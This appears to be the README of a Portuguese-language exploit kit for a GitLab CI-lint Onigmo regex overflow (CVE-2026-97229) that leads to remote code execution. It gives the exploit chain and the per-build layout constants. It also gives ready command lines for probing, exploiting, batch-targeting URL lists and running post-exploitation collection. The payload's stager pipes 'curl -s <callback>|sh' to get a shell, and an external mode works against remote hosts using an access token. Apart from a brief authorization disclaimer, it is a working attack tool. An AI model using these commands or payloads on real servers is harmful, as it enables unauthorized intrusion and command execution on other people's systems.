
Laboratório Docker e exploit em Python para CVE-2026-97229, um integer overflow no regex Onigmo do GitLab CI-lint não autenticado que leva a RCE, com sondagem, derivação de layout e pós-exploração.
Apenas para testes autorizados. Use isto apenas contra sistemas que você possui ou que está explicitamente autorizado a testar (escopo de bug bounty, contrato com cliente, seu próprio laboratório). O uso não autorizado é ilegal.
Uma requisição não autenticada ao lint de CI que corrompe o matcher Onigmo e redireciona a execução para um
gadget system() dentro de libruby.so:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
A requisição final não é autenticada, mas plantar a configuração de CI maliciosa exige acesso de escrita a um projeto público (ou a uma instância que permita autorregistro e projetos públicos).
| Item | Valor |
|---|---|
| Afetado (testado) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| Não explorável | 19.2.8, 19.3.4 (exceção, ver abaixo), 19.3.5, 19.4.2; 19.2.3 não possui imagem CE |
| Gatilho | GET /api/v4/projects/:id/ci/lint não autenticado |
| Pré-requisitos | alcançabilidade + escrita em um projeto público (token, conta comprometida ou cadastro aberto) |
| Impacto | execução de comandos como git (uid 998) dentro do contêiner do GitLab |
| Restrições do PoC | builds x86_64; o layout é por build de libruby.so, não por string de versão |
| Limite do advisory | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
A 19.3.4 está listada como afetada pelo advisory, mas seu
libruby.soempacotado nunca entra no caminho de expansão vulnerável — não conseguimos transformá-la em arma (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
Sem conta na nuvem e sem SSH: o laboratório é Docker puro (daemon local, DOCKER_HOST ou um contexto docker).
No Docker Desktop adicione --callback-host host.docker.internal.
include.rules.exists.regexp elaborado, além de um caminho de repositório de 110 bytes.{5(?#)7805} para que a proteção de repetição do lado do Rails (REPEAT_MAX=1000) não a detecte.call e o offset de system@plt, redirecionando a VM.curl -s <callback>|sh, fornecendo um shell como o usuário de serviço git../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
O launcher aplica as configurações de memória que o exploit precisa (sidekiq off, um worker Puma, buffers pequenos do Postgres, --memory 6.5g --shm-size 256m), aguarda a UI e define a senha de root.
Veja lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| Campo | Significado |
|---|---|
http | status de GET /users/sign_in |
version | versão do GitLab lida a partir do container (null sem acesso ao container) |
class | classificação do advisory: affected / patched / not-listed / unknown |
libruby_md5 | identidade de build do libruby.so do container alvo |
layout | finish / gadget / step (apenas quando o build é conhecido ou derivável) |
exploitable | se um layout está disponível; class=affected não implica isto |
layout_source | table, derived ou no-overflow-in-build |
class: "unknown" significa simplesmente que nenhuma informação de container/versão estava disponível — para um alvo apenas com URL
a ferramenta não consegue classificar nem derivar um layout. Ver "Alvos externos" abaixo.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
Critério de sucesso: lint é dropped(HTTPError) ou http(502) e output começa com
uid=998(git). Um 200 com valid:true significa que a build não é vulnerável.
| Linha | Explorável | Corrigido / não explorável |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3 não tem imagem CE |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (o matcher nunca expande), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
Evidência por build: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container é obrigatório para o caminho de exploit atual (libruby/layout + rails runner); layout é uma
substituição opcional para builds que a ferramenta não consegue ler.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
Para cada alvo, em ordem: probe → exploit → em caso de RCE, pós-exploração
(exploit/post/collect.sh; substituir com --post-command-file, desativar com --no-post).
--probe-only para após a identificação. Código de saída 0 se algum alvo resultou em RCE.
O payload precisa de três constantes por build (gadget finish, system@plt, passo UTF-8). Ordem de resolução:
layout explícito (0x… 0x… 12345);libruby.so do container via exploit/layout.py.Todas as builds vulneráveis conhecidas usam apenas dois layouts: 0x486DA9/0x31EE29/1249885 e
0x4885A9/0x31E809/1256138.
--mode external precisa apenas de HTTP e de um PAT (escopo api): cria um projeto público através da API,
faz push com oauth2:<token>, dispara o lint não autenticado e remove o projeto em seguida.
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80